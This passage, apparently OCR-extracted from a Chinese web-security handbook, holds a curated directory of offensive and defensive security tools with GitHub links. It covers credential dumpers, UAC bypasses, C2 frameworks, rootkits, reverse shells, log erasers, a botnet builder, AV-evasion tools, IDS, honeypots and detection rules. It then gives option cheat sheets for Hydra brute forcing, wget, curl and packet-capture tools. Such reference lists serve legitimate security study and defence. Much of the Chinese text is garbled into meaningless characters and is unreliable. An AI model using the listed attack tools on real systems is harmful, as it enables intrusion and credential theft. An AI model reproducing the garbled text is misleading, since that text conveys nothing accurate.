environment for specific terms

10.9.4 Azure AD

e« ROADtools Azure AD exploration framework

e Stormspotter Azure Red Team tool for graphing Azure and Azure Active Directory objects

10.9.5 Exchange

o ruler A tool to abuse Exchange services
e MailSniper

e PrivExchange Exchange your privileges for Domain Admin privs by abusing Exchange

10.9.6 PowerShell

¢ PowerShellMafia

10.9.7 FM{EEIE

e nbtscan NetBIOS scanning tool

e SharpShares Quick and dirty binary to list network share information from all machines in the current

domain and if they’re readable

e WinShareEnum Windows Share Enumerator
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https://github.com/lithnet/ad-password-protection
https://github.com/HarmJ0y/ASREPRoast
https://github.com/BloodHoundAD/SharpHound3
https://github.com/mdsecresearch/LyncSniper
https://github.com/dafthack/MSOLSpray
https://github.com/dafthack/MailSniper
https://github.com/dirkjanm/ROADtools
https://github.com/Azure/Stormspotter
https://github.com/sensepost/ruler
https://github.com/dafthack/MailSniper
https://github.com/dirkjanm/PrivExchange
https://github.com/PowerShellMafia
https://github.com/scallywag/nbtscan
https://github.com/djhohnstein/SharpShares
https://github.com/nccgroup/WinShareEnum

Web-Sec Documentation, 475 1.0

HackBrowserData 4 F-& HIM e es8di S5 1 T H

10.9.8 Kerberos

Rubeus
kerbrute A tool to perform Kerberos pre-auth bruteforcing

kerberoast A series of tools for attacking MS Kerberos implementations

10.9.9 BHapfLE

Infection Monkey Data center Security Testing Tool

10.9.10 it

SysWhispers AV/EDR evasion via direct system calls
SysWhispers2 AV/EDR evasion via direct system calls

Dumpert LSASS memory dumper using direct system calls and API unhooking

10.9.11 M3

InScan AFITRUGH) HEMLBETH
fscan —KAMEEEHR TR, JrE—@ Ak, £ 0RHEE.

10.10 =&%&

10.10.1 =IMEB MK

k8s
e checkov Prevent cloud misconfigurations during build-time for Terraform, Cloudformation, Kubernetes,
Serverless framework and other infrastructure-as-code-languages with Checkov by Bridgecrew
e CDK Zero Dependency Container Penetration Toolkit
e kube bench
e kube hunter Hunt for security weaknesses in Kubernetes clusters
e KubiScan A tool to scan Kubernetes cluster for risky permissions
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https://github.com/moonD4rk/HackBrowserData
https://github.com/GhostPack/Rubeus
https://github.com/ropnop/kerbrute
https://github.com/nidem/kerberoast
https://github.com/guardicore/monkey
https://github.com/jthuraisamy/SysWhispers
https://github.com/jthuraisamy/SysWhispers2
https://github.com/outflanknl/Dumpert
https://github.com/inbug-team/InScan
https://github.com/shadow1ng/fscan
https://github.com/bridgecrewio/checkov
https://github.com/cdk-team/CDK
https://github.com/aquasecurity/kube-bench
https://github.com/aquasecurity/kube-hunter
https://github.com/cyberark/KubiScan
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e kubescape kubescape is the first tool for testing if Kubernetes is deployed securely as defined in Ku-
bernetes Hardening Guidance by to NSA and CISA

e kubeaudit kubeaudit helps you audit your Kubernetes clusters against common security controls
e peirates Kubernetes Penetration Testing tool

o datree Prevent Kubernetes misconfigurations from reaching production

e botb A container analysis and exploitation tool for pentesters and engineers

10.10.2 £ nE

o falco Cloud Native Runtime Security

10.10.3 = k1%

e Cloud Custodian Rules engine for cloud security, cost optimization, and governance, DSL in yaml for

policies to query, filter, and take actions on resources

e cloudquery cloudquery transforms your cloud infrastructure into SQL database for easy monitoring,

governance and security

10.10.4 §PiZFRIS

e metarget a framework providing automatic constructions of vulnerable infrastructures.

e CloudGoat Rhino Security Labs’ ”Vulnerable by Design” AWS deployment tool

10.11 BRERGIHF AL

10.11.1 Windows
FEUEIRER
e mimikatz
e RdpThief Extracting Clear Text Passwords from mstsc.exe using API Hooking

e quarkspwdump Dump various types of Windows credentials without injecting in any process

e SharpDump C# port of PowerSploit’s Out-Minidump.psl functionality
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https://github.com/armosec/kubescape
https://github.com/Shopify/kubeaudit
https://github.com/inguardians/peirates
https://github.com/datreeio/datree
https://github.com/brompwnie/botb
https://github.com/falcosecurity/falco
https://github.com/cloud-custodian/cloud-custodian
https://github.com/cloudquery/cloudquery
https://github.com/Metarget/metarget
https://github.com/RhinoSecurityLabs/cloudgoat
https://github.com/gentilkiwi/mimikatz
https://github.com/0x09AL/RdpThief
https://github.com/quarkslab/quarkspwdump
https://github.com/GhostPack/SharpDump
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W pREEFH

o WindowsExploits
e GTFOBins Curated list of Unix binaries that can be exploited to bypass system security restrictions

o JAWS Just Another Windows (Enum) Script

UAC Bypass

o WinPwnage UAC bypass, Elevate, Persistence and Execution methods
e UACME Defeating Windows User Account Control

e UAC Bypass In The Wild

o SigThief Stealing Signatures and Making One Invalid Signature at a Time

C2

e SharpSploit .NET post-exploitation library written in C#

e SharpBeacon ffj.net 5 T CobaltStrike stager & Beacon, H A udghiF# 4k, SO, JEFRm,
SRVER, 456 SysCall #HTEA . AR O L. X ETW &—RV|YjHe

e Koadic is a Windows post-exploitation rootkit

e PoshC2 A proxy aware C2 framework used to aid red teamers with post-exploitation and lateral

movement

ProcessHider Post-exploitation tool for hiding processes from monitoring applications

Invoke PhantOm Windows Event Log Killer

EventCleaner A tool mainly to erase specified records from Windows event logs, with additional func-

tionalities

DLL EA

sRDI Shellcode Reflective DLL Injection
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https://github.com/abatchy17/WindowsExploits
https://github.com/GTFOBins/GTFOBins.github.io
https://github.com/411Hall/JAWS
https://github.com/rootm0s/WinPwnage
https://github.com/hfiref0x/UACME
https://github.com/sailay1996/UAC_Bypass_In_The_Wild
https://github.com/secretsquirrel/SigThief
https://github.com/cobbr/SharpSploit
https://github.com/mai1zhi2/SharpBeacon
https://github.com/zerosum0x0/koadic
https://github.com/nettitude/PoshC2
https://github.com/M00nRise/ProcessHider
https://github.com/hlldz/Invoke-Phant0m
https://github.com/QAX-A-Team/EventCleaner
https://github.com/monoxgas/sRDI
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rootkit

e 177-rootkit Ring 3 rootkit with single file installer and fileless persistence that hides processes, files,

network connections, etc

e parent PID spoofing Scripts for performing and detecting parent PID spoofing

o GetSystem This is a C# implementation of making a process/executable run as NT AUTHOR-
ITY/SYSTEM. This is achieved through parent ID spoofing of almost any SYSTEM process.

MiTM

e Seth Perform a MitM attack and extract clear text credentials from RDP connections

e pyrdp RDP man-in-the-middle (mitm) and library for Python with the ability to watch connections

live or after the fact

e Nishang Offensive PowerShell for red team, penetration testing and offensive security

e SharPersist Windows persistence toolkit written in C#

10.11.2 Linux

WpREEFH

e linux exploit suggester
e LinEnum Scripted Local Linux Enumeration & Privilege Escalation Checks
o AutoLocalPrivilegeEscalation

e traitor Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe,

+w docker.sock

rootkit

e rooOtkit

o Diamorphine LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x (x86/x86_64 and ARM64)
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https://github.com/bytecode77/r77-rootkit
https://github.com/countercept/ppid-spoofing
https://github.com/py7hagoras/GetSystem
https://github.com/SySS-Research/Seth
https://github.com/GoSecure/pyrdp
https://github.com/samratashok/nishang
https://github.com/fireeye/SharPersist
https://github.com/mzet-/linux-exploit-suggester
https://github.com/rebootuser/LinEnum
https://github.com/ngalongc/AutoLocalPrivilegeEscalation
https://github.com/liamg/traitor
https://github.com/nurupo/rootkit
https://github.com/m0nad/Diamorphine
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i

e prism is an user space stealth reverse shell backdoor

e icmpsh Simple reverse ICMP shell

10.11.3 &
AR
e sshLooterC program to steal passwords from ssh
e keychaindump A proof-of-concept tool for reading OS X keychain passwords

e LaZagne Credentials recovery project

e SecretScanner Find secrets and passwords in container images and file systems

W pREEFH

o BeRoot Privilege Escalation Project - Windows / Linux / Mac

RAT

e QuasarRAT

C2

e Empire
e pupy
o Covenant is a collaborative .NET C2 framework for red teamers

e Cooolis-ms 1% Metasploit Payload Loader. Cobalt Strike External C2 Loader. Reflective DLL
injection (A HATITH

DNS Shell

e« DNS Shell DNS-Shell is an interactive Shell over DNS channel

e Reverse DNS Shell A python reverse shell that uses DNS as the ¢2 channel
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https://github.com/andreafabrizi/prism
https://github.com/inquisb/icmpsh
https://github.com/mthbernardes/sshLooterC
https://github.com/juuso/keychaindump
https://github.com/AlessandroZ/LaZagne
https://github.com/deepfence/SecretScanner
https://github.com/AlessandroZ/BeRoot
https://github.com/quasar/QuasarRAT
https://github.com/EmpireProject/Empire
https://github.com/n1nj4sec/pupy
https://github.com/cobbr/Covenant
https://github.com/Rvn0xsy/Cooolis-ms
https://github.com/sensepost/DNS-Shell
https://github.com/ahhh/Reverse_DNS_Shell
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Cobalt Strike

o Cobalt Strike
e CrossC2 generate CobaltStrike’s cross-platform payload

e Cobalt Strike Aggressor Scripts

BH&ERR

o Log killer Clear all logs in [linux/windows] servers

Botnet

e byob Build Your Own Botnet

e AV Evasion Tool #H - s XA PUTEsE R T H

e DKMC Dont kill my cat - Malicious payload evasion tool

10.12 it TR

10.12.1 &H

e Cobra

e Semmle QL

e Sourcetrail free and open-source cross-platform source explorer

e trivy A Simple and Comprehensive Vulnerability Scanner for Containers, Suitable for CI

. fortify

o joern Open-source code analysis platform for C/C++/Java/Binary/Javascript based on code property

graphs

10.12.2 PHP

e RIPS
e prvd

e phpvulhunter

10.12. ®HitI A
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https://www.cobaltstrike.com
https://github.com/gloxec/CrossC2
https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts
https://github.com/Rizer0/Log-killer
https://github.com/malwaredllc/byob
https://github.com/1y0n/AV_Evasion_Tool
https://github.com/Mr-Un1k0d3r/DKMC
https://github.com/FeeiCN/cobra
https://github.com/Semmle/ql
https://github.com/CoatiSoftware/Sourcetrail
https://github.com/knqyf263/trivy
http://www.fortify.net/
https://github.com/joernio/joern
http://rips-scanner.sourceforge.net/
https://github.com/fate0/prvd
https://github.com/OneSourceCat/phpvulhunter

Web-Sec Documentation, 475 1.0

e chip a simple tool to detect potential security threat in php code

10.12.3 Python

e pyvulhunter

e Dyt

10.12.4 Java

o find sec bugs

o Gadget Inspector A byte code analyzer for finding deserialization gadget chains in Java applications

10.12.5 JavaScript

¢ NodeJsScan

10.12.6 {#575%

e Dependency-Track is an intelligent Supply Chain Component Analysis platform that allows organiza-

tions to identify and reduce risk from the use of third-party and open source components

10.12.7 INE2FF

e unveilr

10.13 BAiE

10.13.1 BFEEE

e Sysmon
e LastActivityView
e Regshot

o teler Real-time HTTP Intrusion Detection
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https://github.com/phith0n/chip
https://github.com/shengqi158/pyvulhunter
https://github.com/python-security/pyt
https://github.com/find-sec-bugs/find-sec-bugs
https://github.com/JackOfMostTrades/gadgetinspector
https://github.com/ajinabraham/NodeJsScan
https://github.com/DependencyTrack/dependency-track
https://github.com/r3x5ur/unveilr
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
http://www.nirsoft.net/utils/computer_activity_view.html
https://sourceforge.net/projects/regshot/
https://github.com/kitabisa/teler
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10.13.2 Ziglsi=

e attack monitor Endpoint detection & Malware analysis software

o artillery The Artillery Project is an open-source blue team tool designed to protect Linux and Windows

operating systems through multiple methods.
e yurita Anomaly detection framework @ PayPal
e crowdsec An open-source, lightweight agent to detect and respond to bad behaviours

e tracee Linux Runtime Security and Forensics using eBPF

10.13.3 XSS Bhip

e jS XSS
e DOMPurify

e google csp evaluator

10.13.4 BLEREE

o Attack Surface Analyzer analyze operating system’s security configuration for changes during software

installation.
« oixy Nginx itk TH

e dockerscan Docker security analysis & hacking tools

10.13.5 Z2iE&E

e lynis Security auditing tool for Linux, macOS, and UNIX-based systems

¢ linux malware detect

10.13.6 IDS

e oOssec
e yulong
e AgentSmith

e ByteDance HIDS Cloud-Native Host-Based Intrusion Detection
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https://github.com/yarox24/attack_monitor
https://github.com/BinaryDefense/artillery
https://github.com/paypal/yurita
https://github.com/crowdsecurity/crowdsec
https://github.com/aquasecurity/tracee
https://github.com/leizongmin/js-xss
https://github.com/cure53/DOMPurify
https://csp-evaluator.withgoogle.com/
https://github.com/microsoft/AttackSurfaceAnalyzer
https://github.com/yandex/gixy
https://github.com/cr0hn/dockerscan
https://github.com/CISOfy/lynis
https://github.com/rfxn/linux-malware-detect
https://github.com/ossec/ossec-hids
https://github.com/ysrc/yulong-hids
https://github.com/DianrongSecurity/AgentSmith-HIDS
https://github.com/bytedance/ByteDance-HIDS
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10.13.7 RASP

e Elkeid Cloud-Native Host-Based Intrusion Detection solution project to provide next-generation Threat

Detection and Behavior Audition with modern architecture

o openrasp IAST K& TH

10.13.8 SIEM

e panther Detect threats with log data and improve cloud security posture

10.13.9 EBEIR

o threatfeeds

e abuseipdb

10.13.10 APT

e APT Groups and Operations
e APTnotes

e APT Hunter Threat Hunting tool for windows event logs which made by purple team mindset to
provide detect APT movements hidden in the sea of windows event logs to decrease the time to

uncover suspicious activity

10.13.11 \REEE

e huorong

o check rootkit
e rootkit hunter
e PC Hunter

e autoruns

10.13.12 H#HEEE

e Process Explorer

o ProcessHacker

366 Chapter 10. TH5®E


https://github.com/bytedance/Elkeid
https://github.com/baidu-security/openrasp-iast
https://github.com/panther-labs/panther
https://threatfeeds.io/
https://www.abuseipdb.com/
https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/pubhtml
https://github.com/kbandla/APTnotes
https://github.com/ahmedkhlief/APT-Hunter
https://www.huorong.cn/
http://www.chkrootkit.org
http://rkhunter.sourceforge.net/
http://www.xuetr.com/
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
https://processhacker.sourceforge.io/
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10.13.13 Waf

e naxsi
e ModSecurity
e ngx_lua_waf

e OpenWAF

10.13.14 jJREHELER

e virustotal
e virscan

e habo

10.13.15 WebShell &3

« DJf
o MR WebShell 75 4%

e php malware finder

10.13.16 #0 / 1oC

e malware ioc

e fireeye public iocs

e signature base

o vyara rules

e capa rules standard collection of rules for capa
e AttackDetection Suricata PT Open Ruleset

e DailyIOC I0C from articles, tweets for archives

10.13.17 R

e ARTIF An advanced real time threat intelligence framework to identify threats and malicious web

traffic on the basis of IP reputation and historical data

10.13. PhfE 367


https://github.com/nbs-system/naxsi
https://github.com/SpiderLabs/ModSecurity
https://github.com/loveshell/ngx_lua_waf
https://github.com/titansec/OpenWAF
https://www.virustotal.com/
http://www.virscan.org
https://habo.qq.com
http://www.d99net.net/index.asp
http://edr.sangfor.com.cn/backdoor_detection.html
https://github.com/nbs-system/php-malware-finder
https://github.com/eset/malware-ioc
https://github.com/fireeye/iocs
https://github.com/Neo23x0/signature-base
https://github.com/Yara-Rules/rules
https://github.com/fireeye/capa-rules
https://github.com/ptresearch/AttackDetection
https://github.com/StrangerealIntel/DailyIOC
https://github.com/CRED-CLUB/ARTIF
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10.13.18 Security Advisories

e Apache httpd Security Advisories
e Apache Solr

o Apache Tomcat

o Jetty Security Reports

e Nginx Security Advisories

e OpenSSL

10.13.19 Security Tracker

e Nginx Security Tracker

10.13.20 T H

o vyara The pattern matching swiss knife

e capa The FLARE team’s open-source tool to identify capabilities in executable files.

10.13.21 DoS PA#F

o Gatekeeper <https://github.com/AltraMayor/gatekeeper>‘_ open-source DDoS protection system

10.13.22 IFEHl / BER

e sliver Adversary Simulation Framework
e caldera Automated Adversary Emulation Platform

e DumpsterFire
10.13.23 A\ {RBHIF

e fail2ban
10.14 22HF X%

10.14.1 RS

o aswan PEFEXIE RGBS HLIN G | 2
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https://httpd.apache.org/security/
https://lucene.apache.org/solr/security.html
https://tomcat.apache.org/security-8.html
https://www.eclipse.org/jetty/documentation/current/security-reports.html
http://nginx.org/en/security_advisories.html
https://www.openssl.org/news/vulnerabilities.html
https://security-tracker.debian.org/tracker/source-package/nginx
https://github.com/VirusTotal/yara
https://github.com/fireeye/capa
https://github.com/BishopFox/sliver
https://github.com/mitre/caldera
https://github.com/TryCatchHCF/DumpsterFire
https://github.com/fail2ban/fail2ban
https://github.com/momosecurity/aswan
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10.14.2 EE T

e« PHP CodeSniffer tokenizes PHP files and detects violations of a defined set of coding standards

10.14.3 2 YmSHE

« JAVA %4 SDK L4it i

o PHP %4 SDK i inil

10.14.4 {AEHE

« SRCMS

o 1% HERN ARG E ., el tay AR, el E = RS

o xunfeng 3 Tl N MR IR PGE LR, AT RS

e DefectDojo an open-source application vulnerability correlation and security orchestration tool

o Fuxi Scanner Penetration Testing Platform

o SeMF kWM Z4aE R, G EH, W, SER, FREE. et Hah kb
o

10.14.5 DevSecOps

o hunter H1iii DevSecOps M %, #iah=\imAEH#

10.15 =4

10.15.1 {FE

e Bro

e Moloch Large scale, open source, indexed packet capture and search
o« TCPFlow

e TCPDump

e WireShark

e Argus

e PcapPlusPlus

e ngrep

10.15. a4 369


https://github.com/squizlabs/PHP_CodeSniffer
https://github.com/momosecurity/rhizobia_J
https://github.com/momosecurity/rhizobia_P
https://github.com/martinzhou2015/SRCMS
https://github.com/creditease-sec/insight
https://github.com/ysrc/xunfeng
https://github.com/DefectDojo/django-DefectDojo
https://github.com/jeffzh3ng/Fuxi-Scanner
https://gitee.com/gy071089/SecurityManageFramwork
https://github.com/ztosec/hunter
https://www.bro.org/
https://github.com/aol/moloch
https://github.com/simsong/tcpflow
http://www.tcpdump.org/
https://www.wireshark.org
https://github.com/salesforce/Argus
https://github.com/seladb/PcapPlusPlus
https://github.com/jpr5/ngrep
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e cisco joy A package for capturing and analyzing network flow data and intraflow data, for network

research, forensics, and security monitoring.
e NFStream a Flexible Network Data Analysis Framework

e BruteShark Network Analysis Tool

10.15.2 £224]

e jumpserver
e CrazyEye

e GateOne

10.15.3 ZE{E

e Dionaea

e Modern Honey Network
o Cowrie SSH/Telnet, Z&##
e honeything ToT &

o ConPot T &K% f#

e MongoDB HoneyProxy
o ElasticHoney

« DCEPT

e Canarytokens

o Honeydrive

e T-Pot The All In One Honeypot Platform
e opencanary

o HFish

« kippo SSH Honeypot

o Ehoney #3mBiiH R4

10.15.4 VPN Install

e pptp

e ipsec
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https://github.com/cisco/joy
https://github.com/nfstream/nfstream
https://github.com/odedshimon/BruteShark
https://github.com/jumpserver/jumpserver
https://github.com/triaquae/CrazyEye
https://github.com/liftoff/GateOne
https://github.com/DinoTools/dionaea
https://github.com/threatstream/mhn
https://github.com/micheloosterhof/cowrie
https://github.com/omererdem/honeything
http://conpot.org/
https://github.com/Plazmaz/MongoDB-HoneyProxy
https://github.com/jordan-wright/elastichoney
https://github.com/secureworks/dcept
https://github.com/thinkst/canarytokens
http://bruteforcelab.com/honeydrive
https://github.com/dtag-dev-sec/tpotce/
https://github.com/p1r06u3/opencanary_web
https://github.com/hacklcx/HFish
https://github.com/desaster/kippo
https://github.com/seccome/Ehoney
https://github.com/viljoviitanen/setup-simple-pptp-vpn
https://github.com/hwdsl2/setup-ipsec-vpn
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e openvpn

10.15.5 f¥id / K

e ngrok

e rtep

e Tunna

e reDuh Create a TCP circuit through validly formed HTTP requests

e reGeorg pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn

e Neo-reGeorg Neo-reGeorg is a project that seeks to aggressively refactor reGeorg

o ABPTTS TCP tunneling over HTTP/HTTPS for web application servers

e frp A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet
o lanproxy WM %45 TR

e ligolo Reverse Tunneling made easy for pentesters

o BarthWorm Jg—# M TIT/E SOCKS vb MHRSF I TR, FEThniE C IFk, W -F& R
IR, TR T IR % .

e Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP

e mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a com-

promised Microsoft SQL Server via socket reuse

e nps a lightweight, high-performance, powerful intranet penetration proxy server, with a powerful web

management terminal

10.15.6 IB4E

e Netch Support Socksb, Shadowsocks, ShadowsocksR, V2Ray, Trojan proxies. UDP NAT FullCone

e proxychains a tool that forces any TCP connection made by any given application to follow through
proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy

o gost GO Simple Tunnel

10.15.7 H-EH

o BlueKing CMDB [ i) 87 KA T 8 bl 2 e 8 B 5
o ARL BH7 IS R SE

10.15. a4 371


https://github.com/Nyr/openvpn-install
https://github.com/inconshreveable/ngrok
https://github.com/knownsec/rtcp
https://github.com/SECFORCE/Tunna
https://github.com/sensepost/reDuh
https://github.com/sensepost/reGeorg
https://github.com/L-codes/Neo-reGeorg
https://github.com/nccgroup/ABPTTS
https://github.com/fatedier/frp
https://github.com/ffay/lanproxy
https://github.com/sysdream/ligolo
https://github.com/idlefire/ew
https://github.com/SECFORCE/Tunna
https://github.com/blackarrowsec/mssqlproxy
https://github.com/ehang-io/nps
https://github.com/NetchX/Netch
https://github.com/haad/proxychains
https://github.com/ginuerzh/gost
https://github.com/Tencent/bk-cmdb
https://github.com/TophantTechnology/ARL
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10.15.8 &#

e bombus FHEITFEE

10.15.9 Jx#=

e nebula
e Liudao “/NiE” SERhS K= &40
o aswan [HFHRIERGEHSHING 4

10.15.10 SIEM

e metron

e MozDef

10.15.11 Z&ia4

e Scout URL RS

e OpenDnsdb £F Python #J DNS &S £450

10.15.12 R4glse=

e netdata Real-time performance monitoring

e bce Tools for BPF-based Linux IO analysis, networking, monitoring, and more

10.15.13 Windows

e Windows Sysinternals

10.15.14 L&

e Toxiproxy A TCP proxy to simulate network and system conditions for chaos and resiliency testing

10.15.15 MLEEH]

e Internet Emulator A Python framework for creating emulation of the Internet
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https://github.com/momosecurity/bombus
https://github.com/threathunterX/nebula
https://github.com/ysrc/Liudao
https://github.com/momosecurity/aswan
https://github.com/apache/metron
https://github.com/mozilla/MozDef
https://github.com/HandsomeOne/Scout
https://github.com/qunarcorp/open_dnsdb
https://github.com/netdata/netdata
https://github.com/iovisor/bcc
https://docs.microsoft.com/zh-cn/sysinternals
https://github.com/Shopify/toxiproxy
https://github.com/seed-labs/seed-emulator
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10.16 ERiE

10.16.1 WEFEUE

o SfAntiBotPro
e volatility
e Rekall Memory Forensic Framework

o LiIME LiME (formerly DMD) is a Loadable Kernel Module (LKM), which allows the acquisition of

volatile memory from Linux and Linux-based devices, such as those powered by Android.

e AVML Acquire Volatile Memory for Linux

10.17 Hith

10.17.1 ZE1EZE

e metasploit
o w3af

e AutoSploit
e Nikto

o skipfish

e Arachni

e ZAP

e BrupSuite
e Spiderfoot
e AZScanner
o Fuxi

e vooki

o BadMod
« fsociety Hacking Tools Pack

e axiom A dynamic infrastructure toolkit for red teamers and bug bounty hunters
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http://edr.sangfor.com.cn/tool/SfabAntiBot_X64.7z
https://github.com/volatilityfoundation/volatility
https://github.com/google/rekall
https://github.com/504ensicsLabs/LiME
https://github.com/microsoft/avml
https://www.metasploit.com/
http://w3af.org/
https://github.com/NullArray/AutoSploit/
https://cirt.net/nikto2
https://my.oschina.net/u/995648/blog/114321
http://www.arachni-scanner.com/
http://www.freebuf.com/sectool/5427.html
https://portswigger.net/burp/
https://github.com/smicallef/spiderfoot
https://github.com/az0ne/AZScanner
https://github.com/jeffzh3ng/Fuxi-Scanner
https://www.vegabird.com/vooki/
https://github.com/MrSqar-Ye/BadMod
https://github.com/Manisso/fsociety
https://github.com/pry0cc/axiom
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10.17.2 LSS

e CAPTCHAZ22 is a toolset for building, and training, CAPTCHA cracking models using neural networks.

10.17.3 WebAssembly

e wabt
e binaryen

o wasmdec

10.17.4 Bi&

o JStillery
 javascript obfuscator
o HT hook [ php IRVA MR

¢ Invoke Obfuscation

10.17.5 Proxy Pool

e proxy pool by jhaol04
e Proxy Pool by Germey

o scylla

10.17.6 Android

e DroidSSLUnpinning Android certificate pinning disable tools

10.17.7 Hfth

e Serverless Toolkit

o Rendering Engine Probe
e httrack

e curl

o htrace

e Microsoft Sysinternals Utilities
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https://github.com/FSecureLABS/captcha22
https://github.com/WebAssembly/wabt
https://github.com/WebAssembly/binaryen
https://github.com/wwwg/wasmdec
https://github.com/mindedsecurity/JStillery
https://github.com/javascript-obfuscator/javascript-obfuscator
https://github.com/CaledoniaProject/php-decoder
https://github.com/danielbohannon/Invoke-Obfuscation
https://github.com/jhao104/proxy_pool
https://github.com/Python3WebSpider/ProxyPool
https://github.com/imWildCat/scylla
https://github.com/WooyunDota/DroidSSLUnpinning
https://github.com/ropnop/serverless_toolkit
https://github.com/PortSwigger/hackability
http://www.httrack.com/
https://curl.haxx.se/
https://github.com/trimstray/htrace.sh
https://docs.microsoft.com/en-us/sysinternals/downloads/

cHAPTER 11

11.1 #HITH

11.1.1 Hydra

-R 4RZE M bR IERER R

-S i i} SSL #f#z

-s<PORT> 4 & i [

-1<LOGIN> 5 & Wfiiy i )

-L<FILE> §57E ] )74 7l

~p<PASS> $3 & i i 1 it

-P<FILE> §if7E %7 4L

—e<ns> AIPEIEIN, n: LR, s SHREE M R R
-C<FILE> i B 57 %%, Bl user:pwd” RMAH-L/-P S5
-M<FILE> 4§35 H R8I —1T—4%

-o<FILE> i3 45544 ) SC 1

-f FEREH-M SHOAG , ARG X 855544 B 0 7 B i v 1 A
~t<TASKS> [A|hZfTII&ARE, BRIAH 16
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o —w<TIME> PN RYIE, FRAED, AR 30s

o -vV EURTEA AR

11.2 FHIA/

11.2.1 wget

o W# T 7 wget http://example.com/file.iso

o IEEMRIFE 4 wget ——output-document=myname.iso http://example.com/file.iso

o RA7E|F5%E Ht wget ——directory-prefix=folder/subfolder http://example.com/file.iso
o RO A SEfE wget --continue http://example.com/big.file.iso

o FEIGEXMHH R url 513 wget —-input list-of-file-urls.txt

o FEIBEHTHNEN LA wget http://example.com/images/{1..20}.jpg

e T web TUT W AT KR  wget --page-requisites --span-hosts --convert-links
--adjust-extension http://example.com/dir/file

BT

o TFEFTH #EE R U A S wget ——execute robots=off --recursive --no-parent --continue
--no-clobber http://example.com/

e TRV EGTH M X wget —-level=1 --recursive --no-parent --accept mp3,MP3 http://

example.com/mp3/

e HEMIEE H X N & wget ——recursive -—no-clobber --no-parent --exclude-directories /
forums, /support http://example.com

EESH

o user agent ——user-agent="Mozilla/5.0 Firefox/4.0.1"

basic auth --http-user=user --http-password=pwd

{3#4% cookie —-cookies=on --save-cookies cookies.txt --keep-session-cookies

e f#iF] cookie -—cookies=on --load-cookies cookies.txt --keep-session-cookies
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11.2.2 curl

wH

o HFEE/R curl wuw.example.com
o RAFIRENIA T -0 newname

o AMEEST -0

IE M

o V{44 curl ftp://example.com/file[1-100].txt

e 1H44 curl http://site.{one,two,three}.com

11.3 FEHEX
11.3.1 TCPDump

TCPDump &K ER AL AT TR AT DARF 25 v e i i 2 B 1) 5 AR T ok b iAo e S0k
XFRIZEE L . AL g DAY E, IR AR IR

HLITHRIER

e -B <buffer_size> JURIHMZEM X I, FHid/NUTTRERA, HAH KB
* -c <count> UL n LR
o -C <file_size> MFNCRI L —ER/ING, HE—DIHEE, HAH MB
o -i <interface> & PRI K2 i &
o -n ANFARHHE
o -r <file> BEIRAFRY peap CIF
e -s <snaplen> MAFMRSCHAIR snaplen T HEE, 0 M FrA 50
o -q H R AP OR AR, i R A TR FU A R L
o -W <cnt> B cnt N EATE A
o -w <file> PRAFHE BT I
— HHFRI R, WA strftime (AREARSS , BIAT AY_%mn_%d_%H_%M_%S.pcap
+ -G <seconds> i [H] 44
o v PN, vV —vev SR A RGN
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o X Hij RS N 2
e -7 <user> Tj—:%j(ﬁ:zm, %Tﬁ%ﬂ%)ﬂ
11.3.2 Bro

Bro j&— IR AR R T TE, SCREZ RN, W] ey ol s i .

o SIS bro -i <interface> <list of script to load>
o MTAHLYE B bro -r <pcapfile> <scripts...>

o O EIENTR RS H & bro-cut

1k

N T RSP RERIE S Bro ZIRE, Bro &L T FIRBIMMIAE R .

11.3.3 tcpflow

tepflow 22— MNETH, ErE 2 R A BnEdENE, 100 HTTP &9k, H
tepflow £ B,

HXITERAER

e -b max_bytes & X HAIMHU =

+ -e name FHEMHTIY scanner

« -i interface f§EMHUE M

e -0 outputdir F§iE N S

o -r file FEHUCH

e -R file BEICHF, (HUZ I BEIGEBERY SO

11.3.4 tshark

WireShark [#ay$47 TR, wf DA 52l A A EdE, w DAEE M 2] 5CfF, il AZS & BRGS0
PG4T, LB BRI AL T .
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mAEDO

o -i <interface> FFEMFIL N, BINEH I ARAHGEERE D

o -f <capture filter> WEYM{UiJEFRIAA, BENG libpeap 1Pk, X MREBAEM GRS P ug,
TSRS 3 B A L SO DU AN )

o -s <snaplen> W EMRIBKEE, FMLEOEREAEIRAL, F ML R EHA 65535 FIFRE, 0 /g
HEEE 65535, ERIAH 65535

o -p AR AB TAE, B ORANIA KT E

e -B <buffer size> WHEZMXHK/), HXf windows A%, ik 2M

e -y <link type> WEAMMEIREERZ L, ABCEMBRID -L HEIH)H— Y
o -D FTHIE D5 FHB

o -L AN B R Z L, -y SEEA

o -r <infile> W 'EIEHUAM I

EES S | b

e -c <packet count> ik n MU JFEEA, FRINHFRTCRA
+ -a <autostop cond>

— duration:NUM 7£ num Fb2 J55 IF ik

— filesize:NUM 7£ numKB 2 J5{5 -7k

— files:NUM EHfZK num NSCPEZ 545 Ak

IR TR

o -Y <display filter> (i Jj UL IERRHTHYL, TEERI AT AT DAY -R 150
o -n 3E | EFTE LS FT CERIAH RV IT R )

o -NEMEZERHIES TN m AR MAC 2, n {GRMZZ, t AREHE, ¢ R4 HI7F4P DNS
B WER -n M -N SHIEAAAE, -n (2. TR -n Al -N SHEAT, WEGASTIFITA bt
AT AT

o —d PR E MBI KR A L, EERF tep 8888 i I AL ELE http M#EL, MiZER -d tep.
port==8888,http . W tshark -d ¥ H A ZEE LR .

i TR

o —w <outfile> XHE raw FIREAH L. ANEERHA stdout
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e -F <output file type> B4l BINE .pcapng, (#f] tshark -F WJF1| BTy SCRFY

bt SR
o -V HEINZ Ty
o -0 <protocols> H I R & i PSRN B
o -P MIERFAFREEERE ASCHE R, AT B AHEZAE B
. -S <separator> {74}
o —x WETEMHEE AR T, B4 packet JHTHIPA HEX dump #9757 2028 B AR
o -T pdml|ps|text|fields|psml i% &AL, Fbm RS, BRIAKH text
o —e WIR -T WEIRGE, -e HIRIRE P T B
o -t aladldlddlelr|ulud & EMFAGEES RS
